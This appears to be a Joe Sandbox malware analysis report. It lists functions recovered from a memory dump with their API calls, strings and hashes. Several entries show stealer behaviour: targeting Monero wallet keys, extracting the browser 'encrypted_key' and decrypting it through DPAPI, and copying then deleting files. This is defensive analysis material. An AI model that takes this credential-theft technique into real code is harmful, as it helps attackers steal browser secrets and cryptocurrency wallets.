Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 347fee172138133ea493035e84db50dff061a1cd8c7d4fc61951048300d8326e
Instruction ID: c31e0a8df0abaa9e233cad42ab802e30a7175c24ac536780b93c80fe4df52ac5
Opcode Fuzzy Hash: 347fee172138133ea493035e84db50dff061a1cd8c7d4fc61951048300d8326e
Instruction Fuzzy Hash: AD011DB9B40208FBDB24DFE0DC49FAEB7B8FB48701F108159FA4597284DA759A018B60

Function 00DFC84E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtGetStringTypeA.LIBCMT ref: 00DFC8EC
___crtLCMapStringA.LIBCMT ref: 00DFC90C
___crtLCMapStringA.LIBCMT ref: 00DFC931

Strings

, xrefs: 00DFC896

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Type
String ID:
API String ID: 2109742289-3916222277
Opcode ID: ecedd904b9f26d9d1a15fce43594bcff0ce39a8254817a5d3bf71526900bfee8
Instruction ID: c2176359513c8a8cce377307138472050577a09f93bb96d239d42b0cf9d31179
Opcode Fuzzy Hash: ecedd904b9f26d9d1a15fce43594bcff0ce39a8254817a5d3bf71526900bfee8
Instruction Fuzzy Hash: E64107B111075C5EDB218B24CE84FFB7BED9F45705F1894E8EACA86182E2719A54CF30

Function 00DF6630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00DF6663

Part of subcall function 00DFA740: lstrcpy.KERNEL32(00E00E17,00000000), ref: 00DFA788

Part of subcall function 00DFA9B0: lstrlen.KERNEL32(?,019786B0,?,\Monero\wallet.keys,00E00E17), ref: 00DFA9C5
Part of subcall function 00DFA9B0: lstrcpy.KERNEL32(00000000), ref: 00DFAA04
Part of subcall function 00DFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00DFAA12

Part of subcall function 00DFA8A0: lstrcpy.KERNEL32(?,00E00E17), ref: 00DFA905

ShellExecuteEx.SHELL32(0000003C), ref: 00DF6726
ExitProcess.KERNEL32 ref: 00DF6755

Strings

<, xrefs: 00DF66D9

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 4b85860e5a04faa85828634e2081da7c2e58f0b2f1b13c2116b88843e069b3d0
Instruction ID: eaea38f9a2cad76c5e96ffe745a4c15e11ac327263ecd3edf6d24ad713b7caaa
Opcode Fuzzy Hash: 4b85860e5a04faa85828634e2081da7c2e58f0b2f1b13c2116b88843e069b3d0
Instruction Fuzzy Hash: E3310AB1901218AADB24EB54DC91BEE7778EF44300F808199F30966191DFB56B48CF7A

Function 00DF87C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00E00E28,00000000,?), ref: 00DF882F
RtlAllocateHeap.NTDLL(00000000), ref: 00DF8836
wsprintfA.USER32 ref: 00DF8850

Part of subcall function 00DFA740: lstrcpy.KERNEL32(00E00E17,00000000), ref: 00DFA788

Strings

%dx%d, xrefs: 00DF8847

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: 6e0e4ecb755c00295438930d2f0f2a282c3e7f3a3d053f78b3ba32c6f67aead8
Instruction ID: 77d5cc744c96cfec6a11752746254147416178e706ba7440c2b8e31acdfd5235
Opcode Fuzzy Hash: 6e0e4ecb755c00295438930d2f0f2a282c3e7f3a3d053f78b3ba32c6f67aead8
Instruction Fuzzy Hash: 3C2133B1F40208EFDB24DF94DD45FAEB7B8FB48711F204119F605A7684CB7999008BA1

Function 00DF8D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00DF951E,00000000), ref: 00DF8D5B
RtlAllocateHeap.NTDLL(00000000), ref: 00DF8D62
wsprintfW.USER32 ref: 00DF8D78

Strings

%hs, xrefs: 00DF8D6F

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: 0b1b56de4916ac1b6a02cc04570240e3ae51afa4adf4af32d8ad99ce0931871d
Instruction ID: 1b0e725390b8b74671ef17ac4fc932e442e87b5a7eeaf470ae395b1bb6f23051
Opcode Fuzzy Hash: 0b1b56de4916ac1b6a02cc04570240e3ae51afa4adf4af32d8ad99ce0931871d
Instruction Fuzzy Hash: F6E08CB0B40208FBD724DF94DC0AE6977B8EB04702F104095FE4A97680DEB69E008BA5

Function 00DEA260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00DFA740: lstrcpy.KERNEL32(00E00E17,00000000), ref: 00DFA788

Part of subcall function 00DFA9B0: lstrlen.KERNEL32(?,019786B0,?,\Monero\wallet.keys,00E00E17), ref: 00DFA9C5
Part of subcall function 00DFA9B0: lstrcpy.KERNEL32(00000000), ref: 00DFAA04
Part of subcall function 00DFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00DFAA12

Part of subcall function 00DFA8A0: lstrcpy.KERNEL32(?,00E00E17), ref: 00DFA905

Part of subcall function 00DF8B60: GetSystemTime.KERNEL32(00E00E1A,01979D18,00E005AE,?,?,00DE13F9,?,0000001A,00E00E1A,00000000,?,019786B0,?,\Monero\wallet.keys,00E00E17), ref: 00DF8B86

Part of subcall function 00DFA920: lstrcpy.KERNEL32(00000000,?), ref: 00DFA972
Part of subcall function 00DFA920: lstrcat.KERNEL32(00000000), ref: 00DFA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00DEA2E1
lstrlen.KERNEL32(00000000,00000000), ref: 00DEA3FF
lstrlen.KERNEL32(00000000), ref: 00DEA6BC

Part of subcall function 00DFA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00DFA7E6

DeleteFileA.KERNEL32(00000000), ref: 00DEA743

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 86bbecd727f6926a560c3337923cac820a5a59ab6645df2d526272531e79aae9
Instruction ID: 3a90e1082d0ba82b479ca769ea72f42bc577f3e666d0cb0dc85711e654eea5a1
Opcode Fuzzy Hash: 86bbecd727f6926a560c3337923cac820a5a59ab6645df2d526272531e79aae9
Instruction Fuzzy Hash: 8EE1FBB291011C9ACB14FBA8DC92EFE7338EF14340F51C169F61A76095EE746A49CB72

Function 00DED400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00DFA740: lstrcpy.KERNEL32(00E00E17,00000000), ref: 00DFA788

Part of subcall function 00DFA9B0: lstrlen.KERNEL32(?,019786B0,?,\Monero\wallet.keys,00E00E17), ref: 00DFA9C5
Part of subcall function 00DFA9B0: lstrcpy.KERNEL32(00000000), ref: 00DFAA04
Part of subcall function 00DFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00DFAA12

Part of subcall function 00DFA8A0: lstrcpy.KERNEL32(?,00E00E17), ref: 00DFA905

Part of subcall function 00DF8B60: GetSystemTime.KERNEL32(00E00E1A,01979D18,00E005AE,?,?,00DE13F9,?,0000001A,00E00E1A,00000000,?,019786B0,?,\Monero\wallet.keys,00E00E17), ref: 00DF8B86

Part of subcall function 00DFA920: lstrcpy.KERNEL32(00000000,?), ref: 00DFA972
Part of subcall function 00DFA920: lstrcat.KERNEL32(00000000), ref: 00DFA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00DED481
lstrlen.KERNEL32(00000000), ref: 00DED698
lstrlen.KERNEL32(00000000), ref: 00DED6AC
DeleteFileA.KERNEL32(00000000), ref: 00DED72B

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: c9f1af44e29dd47cbbbdcdc94c602c5034321782d3659a07a35c767b23a27f38
Instruction ID: 35049f0ea5961abe0890f602429eb4003559a612b89bd1cb4fb59979a702bfb2
Opcode Fuzzy Hash: c9f1af44e29dd47cbbbdcdc94c602c5034321782d3659a07a35c767b23a27f38
Instruction Fuzzy Hash: AF910FB191011C9ACB14FBA8DC96DFE7338EF14300F51C169F61AA6095EF746A09CB72

Function 00DED780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00DFA740: lstrcpy.KERNEL32(00E00E17,00000000), ref: 00DFA788

Part of subcall function 00DFA9B0: lstrlen.KERNEL32(?,019786B0,?,\Monero\wallet.keys,00E00E17), ref: 00DFA9C5
Part of subcall function 00DFA9B0: lstrcpy.KERNEL32(00000000), ref: 00DFAA04
Part of subcall function 00DFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00DFAA12

Part of subcall function 00DFA8A0: lstrcpy.KERNEL32(?,00E00E17), ref: 00DFA905

Part of subcall function 00DF8B60: GetSystemTime.KERNEL32(00E00E1A,01979D18,00E005AE,?,?,00DE13F9,?,0000001A,00E00E1A,00000000,?,019786B0,?,\Monero\wallet.keys,00E00E17), ref: 00DF8B86

Part of subcall function 00DFA920: lstrcpy.KERNEL32(00000000,?), ref: 00DFA972
Part of subcall function 00DFA920: lstrcat.KERNEL32(00000000), ref: 00DFA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00DED801
lstrlen.KERNEL32(00000000), ref: 00DED99F
lstrlen.KERNEL32(00000000), ref: 00DED9B3
DeleteFileA.KERNEL32(00000000), ref: 00DEDA32

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 757336a909d840892d96cf035e55d6499dd52495af3dbb58fbaf7f99443e978d
Instruction ID: 894a40f8a613dd5edcddb581b598285d71ef63565b32c5320e311f8b7f7c0b70
Opcode Fuzzy Hash: 757336a909d840892d96cf035e55d6499dd52495af3dbb58fbaf7f99443e978d
Instruction Fuzzy Hash: 12810FB191011C9ACB14FBA8DC96DFE7338EF54340F55C129F60AA6095EF746A09CB72

Function 00DF3560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: 552eceb0cdc38636209d83386e35bfba7ab807b8232cd464b8e95b53c5f61c71
Instruction ID: f744e9287e0410f2c33a4f273542452dffe72fb9436c006176a3025726966624
Opcode Fuzzy Hash: 552eceb0cdc38636209d83386e35bfba7ab807b8232cd464b8e95b53c5f61c71
Instruction Fuzzy Hash: 87411CB1D1020EEBCB04EFA8D845AFEB774EF44304F15C418E616B6290DB75AA49CBB1

Function 00DE9CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 00DFA740: lstrcpy.KERNEL32(00E00E17,00000000), ref: 00DFA788

Part of subcall function 00DE99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00DE99EC
Part of subcall function 00DE99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00DE9A11
Part of subcall function 00DE99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00DE9A31
Part of subcall function 00DE99C0: ReadFile.KERNEL32(000000FF,?,00000000,00DE148F,00000000), ref: 00DE9A5A
Part of subcall function 00DE99C0: LocalFree.KERNEL32(00DE148F), ref: 00DE9A90
Part of subcall function 00DE99C0: CloseHandle.KERNEL32(000000FF), ref: 00DE9A9A

Part of subcall function 00DF8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00DF8E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00DE9D39

Part of subcall function 00DE9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00DE4EEE,00000000,00000000), ref: 00DE9AEF
Part of subcall function 00DE9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00DE4EEE,00000000,?), ref: 00DE9B01
Part of subcall function 00DE9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00DE4EEE,00000000,00000000), ref: 00DE9B2A
Part of subcall function 00DE9AC0: LocalFree.KERNEL32(?,?,?,?,00DE4EEE,00000000,?), ref: 00DE9B3F

Part of subcall function 00DE9B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00DE9B84
Part of subcall function 00DE9B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00DE9BA3
Part of subcall function 00DE9B60: LocalFree.KERNEL32(?), ref: 00DE9BD3

Strings

DPAPI, xrefs: 00DE9D89
, xrefs: 00DE9DC1
"encrypted_key":", xrefs: 00DE9D30

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: dfc55b8444cbade0b342bb67dcfed37afe17acec7f8ce036d4abc9e7a358bf2a
Instruction ID: 074205fd76fc3d7fb26244f5a3406469f84e7de7be4644da5180eff1dca8888d
Opcode Fuzzy Hash: dfc55b8444cbade0b342bb67dcfed37afe17acec7f8ce036d4abc9e7a358bf2a
Instruction Fuzzy Hash: E4315EB6D01219ABCF14EBE5DC95AEEB7B8EF48300F144518EA05A7241EB349A04CBB1

Function 00DF92E0 Relevance: 6.0, APIs: 4, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00DF3AEE,80000000,00000003,00000000,00000003,00000080,00000000,?,00DF3AEE,?), ref: 00DF92FC
GetFileSizeEx.KERNEL32(000000FF,00DF3AEE), ref: 00DF9319
CloseHandle.KERNEL32(000000FF), ref: 00DF9327

Memory Dump Source

